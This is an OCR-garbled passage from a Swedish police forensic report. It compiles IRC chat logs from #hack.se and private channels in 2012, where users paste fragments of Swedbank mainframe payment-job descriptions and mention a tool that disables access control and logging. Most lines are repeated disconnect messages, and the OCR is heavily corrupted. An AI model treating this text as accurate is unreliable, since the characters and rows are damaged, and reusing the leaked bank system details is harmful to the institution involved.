EFnet tlt.txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
New Network tlt .txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
EFnet 

New Network tlt-.txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
New Network deka.txt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network t lt .txt ( 1 652) 
New Network deka. lxt ( 1 648) 
New Network t lt- .txt ( 1 651 ) 
New Network t lt .txt ( 1 652) 
New Network deka. lxt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
New Network deka.txt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
New Network deka.txt ( 1 648) 
New Network tlt- . txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
New Network deka.txt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
New Network deka.txt ( 1 648) 
New Network tlt- . txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
New Network deka. lxt ( 1 648) 
New Network tlt-.txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
New Network deka.txt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
New Network deka.txt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
New Network deka. lxt ( 1 648) 
New Network t lt- .txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
New Network deka. lxt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 

0 1 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864- 1 2  
Länskrimi nalpolisavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare 

201 2-03-1 4 1 1 :5 1  22  * 

201 2-03-1 4 1 1 :5 1  22 * 

201 2-03-1 4 1 1 :5 1  
201 2-03-1 5 22:01 
201 2-03- 1 5  22:02 
201 2-03-1 8 07 : 1 3  2 2  * 

201 2-03- 1 8 07: 1 3  2 2  * 

201 2-03-1 8 07 : 1 3  22 * 

201 2-03- 1 8 07: 1 3  22 * 

201 2-03-1 8 07 : 1 3  2 2  * 

201 2-03- 1 8  07: 1 3  22 * 

201 2-03- 1 8 07 : 1 4  2 2  * 

201 2-03-1 8 1 1 : 1 3  22 * 

201 2-03-1 8 1 1 : 1 3  22 * 

201 2-03-1 8 1 1 : 1 3  22 * 

201 2-03-1 8 1 1 : 1 3  1 9  * 

201 2-03-1 8 1 1 : 1 3  22 * 

201 2-03-1 8 1 1 : 1 3  22 * 

201 2-03-1 8 1 1 : 1 3  22 * 

201  2-03-1 8 1 1  : 1 3  22 * 

201 2-03-1 8 1 1 : 1 3  22 * 

201 2-03-1 8 1 1 : 1 3  22 * 

201 2-03-1 8 1 1 : 1 7  22 * 

201 2-03- 1 8 1 1 : 1 7  22 * 

201 2-03- 1 8 1 4 :09 22 * 

201 2-03- 1 8  1 4:09 22 * 

201 2-03-1 8 1 4 :09 22 * 

201 2-03- 1 8 1 4 :09 22 * 

201 2-03-1 8 1 4 :09 22 * 

201 2-03- 1 8 1 4 :09 22 * 

201 2-03- 1 8  1 4:09 22 * 

201 2-03- 1 8 1 4 :09 22 * 

201 2-03- 1 8 1 4:09 22 * 

201 2-03-1 8 1 4 :09 22 * 

201 2-03- 1 8 1 4 :09 22 * 

201 2-03- 1 8 1 4:09 22 * 

201 2-03-1 8 1 4 : 1 0 22 * 

201 2-03- 1 8  1 4 : 1  o 22 * 

201 2-03- 1 8 1 4 : 1 0 22 * 

201 2-03- 1 8  1 4 : 1 0  2 2  * 

201 2-03-1 8 1 4 : 1 0 22 * 

201 2-03- 1 8  1 4 : 1  o 22 * 

201 2-03- 1 8 1 4 : 1 0 22 * 

201 2-03- 1 8  1 4 : 1 0  2 2  * 

201 2-03-1 8 1 4: 1 0  2 2  * 

201 2-03- 1 8  1 4 : 1  o 22 * 

201 2-03-1 8 1 4: 1 0  22 * 

201 2-03- 1 8  1 4 : 1 0 22 * 

201 2-03-1 8 1 4 : 1 1 22 * 

201 2-03-1 8 1 4 : 1 1 22 * 

201 2-03-1 8 1 4 : 1 1 22 * 

201 2-03- 1 8 1 4 : 1 1 22 * 

201 2-03-1 8 1 4 : 1 1 22 * 

201 2-03- 1 8 1 4 : 1 1 22 * 

201 2-03- 1 8  1 4 : 1 1 22 * 

201 2-03-1 8 1 4 : 1 1 22 * 

201 2-03-1 8 1 4 : 1 1 22 * 

201 2-03-1 8 1 4 : 1 7 22 * 

201 2-03-1 8 1 4 : 1 7 22 * 

201 2-03-1 8 1 4 : 1 7 22 * 

201 2-03- 1 8 1 4 : 1 7 22 * 

201 2-03-1 8 1 4 : 1 7 22 * 

201 2-03-1 8 1 4 : 1 7 22 * 

201 2-03-1 8 1 4 : 1 7 22 * 

201 2-03- 1 8 1 4 : 1 7  22 * 

201 2-03-1 8 1 4 : 1 8 22 * 

201 2-03-1 8 1 4 : 1 8 22 * 

201 2-03-1 8 1 4 : 1 8 22 * 

201 2-03- 1 8 1 4: 1 8  2 2  * 

201 2-03-1 8 1 4 : 1 9  2 2  * 

201 2-03-1 8 1 4 : 1 9 22 * 

201 2-03-1 8 1 4 : 1 9 22 * 

201 2-03- 1 8 1 4: 1 9 1 9  * 

201 2-03- 1 8 1 4 : 1 9  22 * 

201 2-03-1 8 1 4 : 1 9 22 * 

201 2-03- 1 8 1 4 :20 22 * 

201 2-03- 1 8 1 4:20 22 * 

201 2-03- 1 8 1 4 :20 22 * 

Chatmeddelande 

Disconnected ( Remole host closed sockel) . 
Disconnected (Remote host closed sockel) .  
Disconnected Remole host closed sockel . 

in  
Disconnected (No route to hos!) . 
Disconnected (No route to hos!) . 
Disconnected (No route to host) . 
Disconnected (No route to hos!) . 
Disconnected (No route to host) . 
Disconnected (No route to hos!) . 
Disconnected (No route to hos!) . 
d iROX al ready in use. Retrying with d iROX 
d l  ROX already in  use. Retrying with luciddream 
luciddream sels mode +i  luciddream 

1 9  Now talking on #hack. se 
tnet.stealth sets mode +n #hack. se 
tnet.stealth sels mode +l #hack. se 
dl ROX al ready in use. Retrying with dl ROX . . .  
Disconnected (Remote host closed sockel) .  
Disconnected ( Remote host closed sockel) . 
Disconnected (Remote host closed sockel) . 
d iROX already in use. Retrying with d i ROX 
Received a CTCP VERSION from DM 
Disconnected (Connection reset by peer). 
Disconnected (Connection reset by peer). 
Disconnected (Connection reset by peer). 
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer). 
Disconnected (Connection reset by peer) . 
d l  ROX 
d l  ROX 

already i n  use. Retrying with d iROX 
already in use. Retrying with luciddream 

N ickname already in use. Use /N ICK to try another. 
Disconnected (Remote host closed sockel) .  
Disconnected ( Remole host closed sockel) .  
Disconnected (Remote host  closed sockel) .  
Disconnected (Remote host  closed sockel) .  
Disconnected (Remote host closed sockel) . 
Disconnected (Remote host closed sockel) .  
d i ROX already in  use .  Retrying with d iROX . . .  
d l  ROX already i n  use. Retrying with luciddream 
N ickname already in  use. Use /NICK to try another. 
Disconnected (Remote host closed sockel) .  
Disconnected (Remote host closed sockel) . 
Disconnected (Remote host closed sockel) .  
Disconnected (Remote host closed sockel) .  
Disconnected (Remote host closed sockel) . 
Disconnected (Remote host closed sockel) .  
d iROX already in  use. Retrying with d i ROX . . .  
d l  ROX already in use. Retrying with luciddream 
N ickname already in  use. Use /N ICK to try another. 
Disconnected (Remote host closed sockel) . 
Disconnected (Remote host closed sockel) .  
Disconnected (Remote host closed sockel) .  
Disconnected (Remote host closed sockel) .  
Disconnected (Remote host closed sockel) .  
Disconnected (Remote host closed sockel) .  
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer). 
Received a CTCP VERSION from DM 
Disconnected (Connection reset by peer) . 
luciddream already in use. Retrying with d i ROX 
d l  ROX already in use. Retrying with luciddream 
N ickname already in  use. U se /N ICK to try another. 
Disconnected (Remote host closed sockel) . 
d i ROX already in use. Retrying with d i ROX . . .  
d iROX already in use. Retrying with luciddream 
N ickname already in  use. Use /N ICK to try another. 
Disconnected (Remote host closed sockel) . 
d i ROX already in use. Retrying with d iROX 
dl ROX sels mode +i d iROX 

1 9  Now talking on #hack.se 
tnet.stealth sels mode +n #hack. se 
tnet.stealth sels mode +l #hack. se 
Disconnected (Connection reset by peer). 
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer). 

. . .  
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0201 -K81 864- 1 2 456 

Nätverk Kanal/Person/Fil 

New Network deka. lxt ( 1 648) 
New Network tlt-.txt ( 1 65 1 ) 
New Network tlt. txt 1 652 
EFnet tlt .txt ( 1 640 
New Network tlt .txt 1 652 
New Network deka. lxt ( 1 648) 
New Network tlt-.txt ( 1 65 1 ) 
New Network tlt.txt ( 1 652) 
EFnet hapan .txt ( 1 635) 
EFnet tlt.txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
EFnet tlt.txt ( 1 640) 
EFnet hapan.txt ( 1 635) 
EFnet t lt .txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
EFnet tlt .txt ( 1 640) 
EFnet tlt .txt ( 1 640) 
New Network deka. lxt ( 1 648) 
New Network tlt-.txt ( 1 65 1 ) 
New Network tlt.txt ( 1 652) 
EFnet hapan .txt ( 1 635) 
EFnet tlt.txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
EFnet tlt .txt ( 1 640) 
EFnet tlt.txt ( 1 640) 
EFnet tlt .txt ( 1 640) 
New Network deka. lxt ( 1 648) 
New Network tlt-.txt ( 1 65 1 ) 
New Network tlt .txt ( 1 652) 
EFnet hapan .txt ( 1 635) 
EFnet tlt.txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
EFnet tlt .txt ( 1 640) 
EFnet tlt .txt ( 1 640) 
EFnet tlt .txt ( 1 640) 
New Network deka. lxt ( 1 648) 
New Network tlt- .txt ( 1 65 1 ) 
New Network tlt .txt ( 1 652) 
EFnet hapan.txt ( 1 635) 
EFnet tlt .txt ( 1 640) 
EFnet zeotrope. lxt ( 1 641 ) 
EFnet t lt .txt ( 1 640) 
EFnet tlt .txt ( 1 640) 
EFnet tlt .txt ( 1 640) 
New Network deka. lxt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
EFnet hapan .txt ( 1 635) 
EFnet tlt .txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
New Network deka.txt ( 1 648) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
EFnet tlt .txt ( 1 640) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se .txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network deka. lxt ( 1 648) 
New Network tlt- .txt ( 1 65 1 ) 
New Network tlt .txt ( 1 652) 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr :  0201 -K8 1 864-1 2 
Länskriminalpol isavdel n ingen, !T-forensiska sektionen 201 2-05-21 020 1 -K81 864- 1 2  457 

Datum Användare Chatmeddelande Nätverk Kanal/Person/Fil 

201 2-03- 1 8  1 4 :20 22 . Disconnected (Remote hast ciased sockel) .  New Network deka.  lxt ( 1 648) 
201 2-03- 1 8 1 4 :20 22 . Disconnected (Remote hast ciased sockel) . New Network tlt- .txt ( 1 65 1 ) 
201 2-03- 1 8  1 4 :20 22 . Disconnected (Remote hast ciased sockel) . New Network t lt .txt ( 1 652) 
201 2-03- 1 8  1 4 :21 22 . Disconnected (Remote hast ciased sockel) . New Network deka. lxt ( 1 648) 
201 2-03- 1 8  1 4 :21 22 . Disconnected (Remote hast ciased sockel) . New Network t lt- .txt ( 1 65 1 ) 
201 2-03- 1 8 1 4 :21 22 . Disconnected ( Remole hast ciased sockel) . New Network t lt .txt ( 1 652) 
201 2-03- 1 8  1 4:22 22 . Disconnected (Remote hast ciased sockel) .  New Network deka.  lxt  ( 1 648) 
201 2-03- 1 8  1 4 :22 22 . Disconnected (Remote hast ciased sockel) .  New Network tlt- .txt (1 65 1 ) 
201 2-03- 1 8 1 4 :22 22 . Disconnected (Remote hast ciased sockel) . New Network t lt .txt ( 1 652) 
201 2-03- 1 8  1 4 :23 22 . Disconnected (Remote hast ciased sockel) . New Network deka. lxt ( 1 648) 
201 2-03- 1 8 1 4 :23 22 . Disconnected (Remote hast ciased sockel) . New Network tlt- .txt ( 1 65 1 ) 
201 2-03- 1 8 1 4 :23 22 . Disconnected (Remote hast ciased sockel) .  New Network t lt .txt ( 1 652) 
201 2-03- 1 8 1 4:23 22 . Disconnected (Remote hast ciased sockel) . New Network deka. lxt ( 1 648) 
201 2-03- 1 8 1 4 :23 22 . Disconnected ( Remole hast ciased sockel) . New Network tlt-.txt ( 1 65 1 ) 
201 2-03- 1 8 1 4:23 22 . Disconnected (Remote hast ciased sockel) .  New Network t lt .txt ( 1 652) 
201 2-03- 1 8 1 4 :24 22 . Disconnected (Remote hast ciased sockel) . New Network deka. lxt ( 1 648) 
201 2-03- 1 8  1 4:24 22 . Disconnected (Remote hast ciased sockel) . New Network t lt- .txt ( 1 65 1 ) 
201 2-03- 1 8 1 4 :24 22 . Disconnected (Remote hast ciased sockel) .  New Network tlt .txt ( 1 652) 
?'" ::?-03- 1 8  1 4:25 22 . Disconnected (Remote hast ciased sockel) .  New Network deka. lxt ( 1 648) 

03- 1 8 1 4 :25 22 . Disconnected ( Remole hast ciased sockel) .  New Network t lt- .txt ( 1 65 1 ) 
<:v . L-03- 1 8  1 4 :25 22 . Disconnected (Remote hast ciased sockel) . New Network t lt .txt ( 1 652) 
201 2-03- 1 8 1 4 :26 22 . Disconnected (Remote hast ciased sockel) .  New Network deka.  lxt  ( 1 648) 
201 2-03- 1 8 1 4:26 22 . Disconnected (Remote hast ciased sockel) . New Network t lt- .txt ( 1 65 1 ) 
201 2-03- 1 8 1 4:26 22 . Disconnected (Remote hast ciased sockel) .  New Network t lt .txt ( 1 652) 
201 2-03- 1 8  1 4 :26 22 . Disconnected (Remote hast ciased sockel) . New Network deka.txt ( 1 648) 

�-03- 1 8  1 4 :26 22 . Disconnected (Remote hast ciased sockel) .  New Network t lt- .txt ( 1 65 1 ) 
·03- 1 8  1 4 :26 22 . Disconnected (Remote hast ciased sockel) .  New Network t lt .txt ( 1 652) 

201 2-03- 1 8 1 4 :27 22 . Disconnected (Remote hast ciased sockel) .  New Network deka.txt (1 648) 
201 2-03- 1 8  1 4 :27 22 . Disconnected (Remote hast ciased sockel) .  New Network t lt- .txt ( 1 65 1 ) 
201 2-03- 1 8 1 4:27 22 . Disconnected (Remote hast ciased sockel) . New Network t lt .txt ( 1 652) 
201 2-03- 1 8 1 4 :28 22 . Disconnected (Remote hast ciased sockel) .  New Network deka. lxt ( 1 648) 
201 2-03- 1 8 1 4 :28 22 . Disconnected (Remote hast ciased sockel) . New Network tlt- .txt ( 1 65 1 ) 
201 2-03- 1 8 1 4 :28 22 . Disconnected (Remote hast ciased sockel) .  New Network tlt .txt ( 1 652) 
201 2-03- 1 8 1 4 :29 22 . Disconnected (Remote hast ciased sockel) . New Network deka. lxt ( 1 648) 
201 2-03- 1 8 1 4:29 22 . Disconnected (Remote hast ciased sockel) .  New Network tlt- .txt ( 1 65 1 ) 
201 2-03- 1 8 1 4 :29 22 . Disconnected (Remote hast ciased sockel) . New Network t lt . txt ( 1 652) 
201 2-03- 1 8 1 4 :29 22 . Disconnected (Remote hast ciased sockel) . New Network deka. lxt ( 1 648) 
201 2-03-1 8 1 4 :29 Disconnected (Remote hast ciased sockel) .  New Network tlt- .txt ( 1 651 ) 

Disconnected hast ciased New Network t lt .txt 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 0 1 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864- 1 2 
Länskrim inalpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 

23a-hobbe has quit (23Quit: Leaving23) 
Disconnected (Connection reset by peer) . 
Disconnected Connection reset by peer . 
o :D  

Bilaga Passagen.2 · Sammanstäl ln ing a v  xchat2.xlsx 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864- 1 2  
Länskrim inalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2  459 

Datum Användare 

201 2-03-25 21 :24 1 8  <ILI> 
201 2-03-25 21 :24 1 8  <IL!> 
201 2-03-25 21 :24 1 8  <Il l> 
201 2-03-25 21  :25 1 8  <IL!> 
201 2-03-25 21 :27 1 8  <IL!> 

201 2-03-25 2 1 :27 1 8  <IL!> 

201 2-03-25 21  :27 1 8  <IL!> 

201 2-03-25 2 1 :27 1 8  <IL!> 

201 2-03-25 21  :27 1 8  <IL!> 

201 2-03-25 21 :27 1 8  <IL!> 
201 2-03-25 2 1 :27 1 8  <Il l> 

201 2-03-25 21 :27 1 8  <IL!> 

-03-25 21  :27 

201 2-03-25 21  :27 

201 2-03-25 21 :27 

201 2-03-25 21  :27 

201 2-03-25 21  :27 

201 2-03-25 21  :27 

201 2-03-25 2 1  :28 

201 2-03-25 2 1  :28 

201 2-03-25 2 1  :28 

00000280 ://****************************************************************** 

00054002 
000002d0 ://* BESKRIVN ING :  DAGLIGA AE-M$LS $TERBETALN INGAR T ILL New Network tlt .txt ( 1 652) 
G#LDEN#RER 00055002 
00000320 ://* F IL  SKICKAS T ILL SWEDBANKS SUS-SYSTEM F@R New Network t lt .txt ( 1 652) 
UTBETLN . 00056002 
ooooo37o :/r 
00057002 

MED FTP-JOBB D044SWED.  New Network t lt .txt ( 1 652) 

000003c0 ://* BEROENDE:  SKALL K@RAS EFTER D044CD/CV01 VARJ E New Network t lt .txt ( 1 652) 
DAG 00058002 
0000041 0 ://* 

00000460 ://* UPPDATERAD: 2008-04-25 l PROD 
00060002 

00059002 

000004b0 ://* 2008- 1 0- 1 7 KONKAT I N  G E50PROD.SWEDBANK(O) 

D044UTB1 ($TERBET. AV E-M$L VIA 

2009-1 2-23 LAGT T ILL DUMMYFIL-STEG F@R 

: STEG30 

585 94 

New Network tlt .txt 1 652 
New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New 

New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network tlt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

Bi laga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 01 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr:  0201 -K8 1 864-1 2 
Länskr imi nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Användare 

jag l ite och frågar d ig ,  men har du någon aning om vart jag kan få 
· i sth lm? 

201 2-03-28 1 3 :54 
201 2-03-28 1 3 :54 Disconnected (Connection reset by peer). 
201 2-03-28 1 3 :54 22 * Disconnected (Connection reset by peer) . 
201 2-03-28 1 3 :54 22 * Disconnected (Connection reset by peer) .  
201 2-03-28 1 3 :54 22 * Disconnected (Connection reset by peer). 
201 2-03-28 1 3 :54 22 * Disconnected (Connection reset by peer) . 
201 2-03-28 1 3 :54 22 * d i ROX already in use. Retrying with d iROX 
201 2-03-28 1 3 :54 22 * d i ROX sels mode +i d i ROX 
201 2-03-28 1 8 :20 22 * Disconnected (Connection tirned out) . 
201 2-03-28 1 8 :20 22 * Disconnected (Connection t irned out) . 
201 2-03-28 1 8 :21  22 * Disconnected (Connection t irned out) . 
201 2-03-28 1 8 :21  22 * Disconnected (Connection t irned out) . 
201 2-03-28 1 8 :21  22 * Disconnected (Connection t irned out) . 
201 2-03-28 1 8 :21  22 * Disconnected (Connection tirned out) . 
201 2-03-28 1 8 :58 22 * d i ROX sels mode +i d i ROX 
201 2-03-29 1 1  :48 3 1  30 hhttp://www.expressen .se/n heter/hackerattack-mot-skatteverketl 
201 2-03-29 1 1  :55 22 * Disconnected (Connection reset by peer). 
201 2-03-29 1 1  :55 22 * Disconnected (Connection reset by peer) . 
201 2-03-29 1 1  :55 22 * Disconnected (Connection reset by peer) . 
201 2-03-29 1 1  :55 22 * Disconnected (Connection reset by peer) . 
201 2-03-29 1 1  :55 22 * Disconnected (Connection reset by peer). 
201 2-03-29 1 1  :55 22 * 

201 2-03-29 1 1  :55 22 * 

Bilaga Passagen.2 · Sammanstäl lning av xchat2.xlsx 

020 1 -K81 864- 1 2  

EFnet hapan .txt ( 1 635) 
EFnet happy-h.txt ( 1 636) 
IRCNet chorus .txt ( 1 643) 
IRCNet choruz.txt ( 1 644) 
New Network hapan.txt ( 1 649) 
New Network t lt .txt ( 1 652) 
New Network hapan .txt ( 1 649) 
New Network hapan .txt ( 1 649) 
New Network hapan.txt ( 1 649) 
New Network tlt .txt ( 1 652) 
IRCNet chorus.txt ( 1 643) 
IRCNet choruz.txt ( 1 644) 
EFnet hapan.txt ( 1 635) 

New Network hapan .txt 1 649 
New Network tlt .txt 1 652 

EFnet happy-h .  lxt ( 1 636) 
IRCNet chorus.txt ( 1 643) 
IRCNet choruz.txt ( 1 644) 
New Network hapan .txt ( 1 649) 
New Network t lt .txt ( 1 652) 

0 1 .00 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864-1 2 
Länskrim inalpol isavdelningen, !T-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2  

Datum Användare 
--=c20::-c1:-::2-

-:-0:--.:3--:-2:--.:9:---1;-::2:-::3:-:4----::-:-

1 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

?"1 2-03-29 1 2 :34 

�v • 2-03-29 1 2 :34 

.-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

201 2-03-29 1 2 :34 

Kanal/Person/Fil 

hapan.txt ( 1 649) 

00055002 
FIL SKICKAS T ILL SW EDBANKS SUS-SYSTEM New Network hapan .txt ( 1 649) 

UTBETLN. 00056002 
MED FTP-JOBB D044SWED. 

New Network hapan.txt ( 1 649) 

00059002 New Network hapan.txt ( 1 649) 

New Network hapan . txt ( 1 649) 

New Network hapan .txt ( 1 649) 

2009-1 2-23 LAGT T ILL DUMMYFIL-STEG F@R New Network hapan .txt ( 1 649) 

D044.G E50PROD.SWED 

New Network hapan.txt ( 1 649) 

New Network hapan.txt ( 1 649) 

New Network ( 1 649) 

New Network hapan .txt ( 1 649) 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 0 1 .00 
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Bilaga Passagen.2 - Sammanstäl ln ing a v  xchat2.xlsx 0 1 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864- 1 2  
Länskrimi nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 0 2 0 1 -K81 864- 1 2 463 

Användare 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 0 1 .00 



Sammanstä l l n ing  av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr :  020 1 -K81 864-1 2 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr :  020 1 -K8 1 864-1 2 
Länskrim i nalpol isavdelningen, /T-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2 

Datum 

201 2-03-29 20:24 

r - "-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 

201 2-03-29 20:28 1 8  <ILI> 

201 2-03-29 20:28 1 8  <IL!> 

201 2-03-29 20:28 1 8  <IL!> 

201 2-03-29 20:28 1 8  .:IL!> 
201 2-03-29 20:28 1 8  <IL!> 
201 2-03-29 20:28 1 8  <IL!> 
201 2-03-29 20:29 1 8  <IL!> 

201 2-03-29 20:29 1 8  <IL!> 
201 2-03-29 20:29 
201 2-03-29 20:30 
201 2-03-29 20:30 
201 2-03-29 20:30 
201 2-03-29 20:30 

Nätverk Kanal/Person/Fil 

idag . . verktyg som siar av al l  accesskontrol l  o loggning for aktuel l  New Network tlt .txt ( 1 652) 

SKICKAS TILL SWEDBANKS SUS-SYSTEM F@R New Network tlt .txt ( 1 652) 

New Network tlt.txt ( 1 652) 

VARJE New Network tlt .txt ( 1 652) 

2008- 1 0-1 7 KON KAT IN GE50PROD .SWEDBANK(O) New Network tlt .txt ( 1 652) 

D044UTB1 ($TERBET. AV E-M$L VIA New Network tlt . txt ( 1 652) 

2009-1 2-23 

D044.G E50PROD.SWEDBANK 

BESKRIVN ING :  S I G I LLERING AV FIL 

$TG#RD V ID AVBROTT : $TG#RDA FELET OCH K@ R OM 
o 001 90002 

l EXEC KORTET F@R PROCEDUREN 

: STEG30 

New Network t lt .txt ( 1 652) 

New Network tlt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

( 1 652) 

00001 400://* BESKRIVN ING :  KOP IER ING AV F ILER 
00560002 

New Network tlt .txt ( 1 652) 

00001 450://* $TG#RD VID AVBROTT: $TG#RDA FELET OCH K@R OM 
FR$N STEG30 00570002 
00001 4a0://* l EXEC KORTET F@R PROCEDUREN 
00580002 

w's al lisa . .  

New Network t lt .txt ( 1 652) 

New Network t lt .txt ( 1 652) 

New Network t lt .txt 
New Network tlt .txt 

New Network t lt .txt 
New Network t lt .txt 
New Network t lt .txt 
New Network tlt .txt 
New Network t lt .txt 
New Network t lt .txt 

Bi laga Passagen.2 • Sammanstäl ln ing av xchat2.xlsx 0 1 .00 
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Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iarienr :  020 1 -K8 1 864- 1 2  
Länskrimi nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

201 2-03-29 20:35 22 * 

201 2-03-29 20:35 22 * 

201 2-03-29 20 :35 22 * 

201 2-03-29 20:35 22 * 

201 2-03-29 20:36 22 * 

201 2-03-29 20:36 22 * 

201 2-03-29 20:36 22 * 

201 2-03-29 20:36 22 * 

201 2-03-29 20:36 31 
201 2-03-29 20:36 1 9  * 

201 2-03-29 20:36 29 * 

201 2-03-29 20:36 29 * 

201 2-03-29 20:56 1 8  <urandom> 

Disconnected (Connection reset by peer) .  
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer) .  
d i ROX already in use. Retrying with d i ROX 

29Topic for #hack.se 29is: http://static.thepiratebay.org/legal/sopa.txt l birdie 
1 7/5-20/5 

http:/ /www.extremetech.com/electron ics/1 24229-lg-begi 
flexible-plastic-e- ink -displays 
beak's URL lil le: LG begins mass produclien of li rs! f lexible, plastic e- ink 

l ExtremeTech 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 

020 1 -K81 864- 1 2  

New Network deka. lxt ( 1 648) 
New Network hapan .txt ( 1 649) 
New Network tlt.txt ( 1 652) 
New Network tlt .txt ( 1 652) 
New Network tlt.txt ( 1 652) 

EFnet #hack.se .txt 1 630 
New Network t lt .txt 1 652 
EFnet 
EFnet #hack. se.txt ( 1 630) 

E Fnet #hack.se.txt ( 1 630) 

E Fnet #hack.se.txt ( 1 630) 

0 1 .00 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 0201 -K8 1 864-1 2 
Länskrim inalpol isavde ln ingen, !T-forensiska sektionen 201 2-05-21 0201 -KB1 864-1 2 467 

201 2-03-29 2 1  :35 EFnet 
201 2-03-29 21 :36 EFnet 
201 2-03-29 21 :36 EFnet 
201 2-03-29 21 :36 18 <beak> EFnet 
201 2-03-29 21 :36 EFnet 
201 2-03-29 21 :37 EFnet 
201 2-03-29 21 :37 EFnet 
201 2-03-29 21 :38 EFnet 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 0 1 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr :  020 1 -K8 1 864- 1 2 
Länskriminalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare Chatmeddelande 

201 2-03-29 2 1  :38 1 8  <beak> context? 
201 2-03-29 21 :38 1 8 r<scrm> l http://www. reddit.com/r/pics/comments/rjczn/nope/ 
201 2-03-29 21 :38 1 8  <Urandom> scrm's URL lil le: NOPE. : pics 
201 2-03-29 2 1  :42 1 8  <IL!> btw du sag denna va 
201 2-03-29 21 :42 1 8  <IL!> l ----- Visa destinationer med ftp t i l l  andra maskiner ----------- Row 1 from 84 
